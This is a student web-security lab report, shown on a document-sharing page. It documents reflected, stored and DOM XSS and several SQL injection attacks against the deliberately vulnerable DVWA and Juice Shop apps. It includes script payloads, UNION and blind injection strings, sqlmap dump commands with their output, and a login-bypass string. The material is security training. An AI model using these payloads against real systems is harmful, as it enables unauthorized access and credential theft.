0% found this document useful (0 votes)
28 views13 pages

XSS and SQL Injection Lab Report

The lab report details the findings of XSS and SQL injection vulnerabilities discovered in DVWA and Juice Shop environments. Three types of XSS vulnerabilities (Reflected, Stored, DOM) and four SQL injection vulnerabilities were identified and successfully exploited. The report concludes with a summary of the vulnerabilities and their severities, highlighting the critical nature of the findings.

Uploaded by

areebali2024cs
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
28 views13 pages

XSS and SQL Injection Lab Report

The lab report details the findings of XSS and SQL injection vulnerabilities discovered in DVWA and Juice Shop environments. Three types of XSS vulnerabilities (Reflected, Stored, DOM) and four SQL injection vulnerabilities were identified and successfully exploited. The report concludes with a summary of the vulnerabilities and their severities, highlighting the critical nature of the findings.

Uploaded by

areebali2024cs
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd

Web Security Lab Report: XSS & SQL

Injection
Student Name: Maryam Fatima
Date: 29-Oct-2025

1. Lab Setup
Environment:

 DVWA: [Link] (Docker)


 Juice Shop: [Link] (Docker)
 Tools: Burp Suite Community, SQLMap, Firefox

Commands Used:

# For DVWA
podman pull [Link]/vulnerables/web-dvwa

podman run --rm -it -p 80:80 [Link]/vulnerables/web-dvwa

# For Juice Shop


podman pull [Link]/bkimminich/juice-shop

podman run -d -p 3000:3000 [Link]/bkimminich/juice-shop

2. Cross-Site Scripting (XSS) Findings


Finding #1: Reflected XSS in DVWA

Location: DVWA → XSS (Reflected)


Severity: High

Payload:

<script>alert('XSS')</script>

Steps:

1. Navigated to DVWA XSS (Reflected) page


2. Entered payload in Name field: <script>alert('XSS')</script>
3. Clicked Submit button
4. JavaScript alert box executed successfully

Burp Request:
GET /vulnerabilities/xss_r/?name=<script>alert('XSS')</script>
Host: localhost

Screenshots:
Finding #2: Stored XSS in DVWA

Location: DVWA → XSS (Stored)


Severity: Critical

Payload:

<script>alert('Stored XSS')</script>

Steps:

1. Navigated to XSS (Stored)


2. Entered "Test User" in Name field
3. Entered payload in Message field
4. Clicked Sign Guestbook
5. Alert appears automatically on every page load
Screenshots:
Finding #3: DOM XSS in DVWA

Location: DVWA → XSS (DOM)


Severity: High

Payload:

?default=<script>alert('DOM')</script>

Steps:

1. Navigated to XSS (DOM)


2. Modified URL with payload
3. Script executed in browser

Screenshots:
3. SQL Injection Findings
Finding #4: Error-Based SQL Injection in DVWA

Location: DVWA → SQL Injection


Severity: Critical

Manual Exploitation:

Step 1 - Test vulnerability:

Payload: 1'
Result: SQL error displayed
Step 2 - Find columns:

Payload: 1' ORDER BY 1-- ✓ Success

Payload: 1' ORDER BY 2-- ✓ Success

Payload: 1' ORDER BY 3-- ✗ Error (2 columns confirmed)

Step 3 - Extract database info:

Payload: 1' UNION SELECT database(), user()-- -


Step 4 - Get table names:

Payload: 1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE


table_schema='dvwa'--
Result: users, guestbook

Step 5 - Extract credentials:

Payload: 1' UNION SELECT user, password FROM users--


Result:
admin:5f4dcc3b5aa765d61d8327deb882cf99 (password)
gordonb:e99a18c428cb38d5f260853678922e03 (abc123)

Finding #5: Blind SQL Injection in DVWA

Location: DVWA → SQL Injection (Blind)


Severity: Critical

Boolean-Based:

Payload: 1' AND '1'='1--


Result: "User ID exists"
Payload: 1' AND '1'='2--
Result: "User ID MISSING"

Time-Based:

Payload: 1' AND SLEEP(5)--


Result: 5 second delay (vulnerable!)

Finding #6: Automated SQL Injection with SQLMap

Target: DVWA SQL Injection


Tool: SQLMap

Commands & Results:

1. Enumerate databases:

sqlmap -u "[Link] \
--cookie="PHPSESSID=YOUR_COOKIE; security=low" \
--dbs \
--batch

Result: Found databases: dvwa, information_schema

04:19:02] [INFO] testing connection to the target URL


got a 302 redirect to '[Link] Do you want to follow? [Y/n] Y
[04:19:02] [INFO] checking if the target is protected by some kind of WAF/IPS
[04:19:02] [INFO] testing if the target URL content is stable
[04:19:02] [WARNING] GET parameter 'id' does not appear to be dynamic
[04:19:02] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[04:19:02] [INFO] testing for SQL injection on GET parameter 'id'
[04:19:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[04:19:03] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[04:19:03] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
(EXTRACTVALUE)'
[04:19:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[04:19:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[04:19:03] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[04:19:03] [INFO] testing 'Generic inline queries'
[04:19:03] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[04:19:03] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[04:19:03] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[04:19:04] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[04:19:04] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[04:19:04] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[04:19:04] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want
to reduce the number of requests? [Y/n] Y
[04:19:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[04:19:04] [WARNING] GET parameter 'id' does not seem to be injectable
[04:19:04] [WARNING] GET parameter 'Submit' does not appear to be dynamic
[04:19:04] [WARNING] heuristic (basic) test shows that GET parameter 'Submit' might not be injectable
[04:19:04] [INFO] testing for SQL injection on GET parameter 'Submit'
[04:19:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[04:19:05] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[04:19:05] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
(EXTRACTVALUE)'
[04:19:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[04:19:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[04:19:05] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[04:19:05] [INFO] testing 'Generic inline queries'
[04:19:05] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[04:19:05] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[04:19:05] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[04:19:05] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[04:19:06] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[04:19:06] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[04:19:06] [INFO] testing 'Oracle AND time-based blind'
[04:19:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[04:19:06] [WARNING] GET parameter 'Submit' does not seem to be injectable
[04:19:06] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if
you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you
could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'

[*] ending @ 04:19:06 /2025-10-29/


2. Dump users table:

sqlmap -u "[Link] \
--cookie="PHPSESSID=<new-value>; security=low" -D dvwa -T users --dump -v 3 --batch | tee
sqlmap_run.txt

Result: Extracted all user credentials


admin:password
gordonb:abc123

Finding #7: SQL Injection in Juice Shop

Location: Login page


Severity: Critical

Payload:

Email: ' OR 1=1--

Password: anything

Result: Successfully logged in as admin (authentication bypass)


Screenshots:

5. Conclusion
 Discovered 3 XSS vulnerabilities (Reflected, Stored, DOM)
 Discovered 4 SQL injection vulnerabilities
 Successfully exploited all vulnerabilities

Common questions

Powered by AI

Reflected XSS vulnerabilities occur when an injected script is reflected off a web server, such as through a URL or form input, and executed immediately by the browser. In contrast, stored XSS vulnerabilities involve injecting a script that is saved on the server, such as in a database, and executed whenever an affected page is loaded by any user .

The lab report utilized SQLMap, an open-source tool, to automate the SQL injection discovery process. Commands were run to enumerate databases, test for SQL injection vulnerabilities, and dump user tables, resulting in successful extraction of databases like dvwa and credential information from user tables .

A SQL Injection vulnerability on a login page is critical because it can enable attackers to bypass authentication mechanisms through payloads like ' OR 1=1--, which evaluates to true due to logical flaws, allowing unauthorized admin-level access. This risks exposing sensitive data, compromising user accounts, and allowing malicious actors to manipulate the database .

Manual exploitation provides a deep, tailored understanding of application behavior, enabling testers to design precise and context-specific attacks, but is time-consuming and requires expertise. Automated tools like SQLMap expedite the process by quickly identifying common vulnerabilities across different vectors, though they may overlook complex attack paths or require manual validation of findings to avoid false positives .

Exploiting a DOM-based XSS vulnerability involves modifying the DOM environment within the client-side JavaScript code by manipulating the URL or other client-side parameters. It is considered high severity because the execution of the malicious script occurs within the client's browser, potentially allowing the script to execute under the user's context and access sensitive information .

Error-based SQL injection directly leverages error messages displayed by the database to extract information, identified by observing SQL error messages following injection attempts. Blind SQL injection does not return error messages; instead, inferences are made based on behavioral responses or time delays in processing queries, identified by conditional logic tests such as '1' AND '1'='1-- versus '1' AND '1'='2-- .

Payload manipulation through GET parameters contributes by sending crafted inputs directly via URLs to test how web applications process and sanitize these inputs, revealing potential SQL Injection vulnerabilities. However, its limitations include reliance on the visibility of GET parameters and potential server-side protections like input validation or parameterized queries which prevent exploitation .

Confirming the number of columns is crucial to structure the UNION query correctly for successful SQL injection exploitation. The lab report achieved this by using ORDER BY clauses with incremental numbers, identifying the number of columns when an error was produced, indicating no more columns exist beyond that point .

Burp Suite and SQLMap function collaboratively in the web security testing process where Burp Suite is primarily used for intercepting, modifying, and analyzing HTTP requests to identify potential security vulnerabilities, while SQLMap automates the injection of malicious SQL queries to detect and exploit SQL injection vulnerabilities, as demonstrated in extracting database structures and user credentials .

The SQL Injection payload '1' UNION SELECT database(), user() -- -' enables an attacker to execute a union query that reveals the current database name and user by combining results from different queries. This exposure provides attackers with crucial information about the system configuration, such as database structure and user context, potentially allowing further targeted attacks like privilege escalation or unauthorized data access .

You might also like